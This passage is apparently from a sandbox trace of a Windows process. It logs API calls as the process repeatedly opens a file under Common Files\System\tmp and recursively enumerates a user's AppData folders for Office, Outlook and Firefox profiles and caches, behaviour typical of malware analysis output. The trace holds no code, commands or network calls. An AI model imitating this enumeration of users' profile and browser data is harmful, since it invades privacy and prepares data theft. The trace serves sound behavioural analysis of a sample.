lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.930] GetFileType (hFile=0x184) returned 0x1 [0134.930] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.931] AreFileApisANSI () returned 1 [0134.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.931] GetFileType (hFile=0x188) returned 0x1 [0134.931] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.931] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.931] GetLastError () returned 0x12 [0134.931] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.931] GetLastError () returned 0x12 [0134.931] AreFileApisANSI () returned 1 [0134.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.931] GetFileType (hFile=0x184) returned 0x1 [0134.932] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.932] AreFileApisANSI () returned 1 [0134.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.932] GetFileType (hFile=0x188) returned 0x1 [0134.932] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.932] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.932] GetLastError () returned 0x12 [0134.932] AreFileApisANSI () returned 1 [0134.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.932] GetFileType (hFile=0x188) returned 0x1 [0134.933] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x897a78, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.933] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0134.933] GetLastError () returned 0x12 [0134.933] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.933] GetLastError () returned 0x12 [0134.933] AreFileApisANSI () returned 1 [0134.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.933] GetFileType (hFile=0x184) returned 0x1 [0134.933] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x834ee0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.933] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.934] GetLastError () returned 0x12 [0134.934] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.934] GetLastError () returned 0x12 [0134.934] AreFileApisANSI () returned 1 [0134.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.934] GetFileType (hFile=0x180) returned 0x1 [0134.934] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.934] AreFileApisANSI () returned 1 [0134.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.934] GetFileType (hFile=0x184) returned 0x1 [0134.934] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x89bc98, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.935] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0134.935] GetLastError () returned 0x12 [0134.935] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.935] GetLastError () returned 0x12 [0134.935] AreFileApisANSI () returned 1 [0134.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.935] GetFileType (hFile=0x180) returned 0x1 [0134.935] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.935] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.935] GetLastError () returned 0x12 [0134.936] AreFileApisANSI () returned 1 [0134.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.936] GetFileType (hFile=0x180) returned 0x1 [0134.936] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.936] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.936] GetLastError () returned 0x12 [0134.936] AreFileApisANSI () returned 1 [0134.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.936] GetFileType (hFile=0x180) returned 0x1 [0134.937] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.937] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0134.937] GetLastError () returned 0x12 [0134.937] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0134.937] GetLastError () returned 0x12 [0134.937] AreFileApisANSI () returned 1 [0134.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0134.937] GetFileType (hFile=0x17c) returned 0x1 [0134.937] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0134.937] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0134.938] GetLastError () returned 0x12 [0134.938] AreFileApisANSI () returned 1 [0134.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0134.938] GetFileType (hFile=0x17c) returned 0x1 [0134.938] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0134.938] AreFileApisANSI () returned 1 [0134.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0134.938] GetFileType (hFile=0x180) returned 0x1 [0134.938] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0134.939] AreFileApisANSI () returned 1 [0134.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0134.939] GetFileType (hFile=0x184) returned 0x1 [0134.939] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0134.939] AreFileApisANSI () returned 1 [0134.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0134.939] GetFileType (hFile=0x188) returned 0x1 [0134.939] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0134.940] AreFileApisANSI () returned 1 [0134.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0134.940] GetFileType (hFile=0x18c) returned 0x1 [0134.940] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0134.940] AreFileApisANSI () returned 1 [0134.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.940] GetFileType (hFile=0x190) returned 0x1 [0134.940] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.941] AreFileApisANSI () returned 1 [0134.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.941] GetFileType (hFile=0x194) returned 0x1 [0134.941] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.941] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.941] GetLastError () returned 0x12 [0134.941] AreFileApisANSI () returned 1 [0134.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.941] CreateFileW 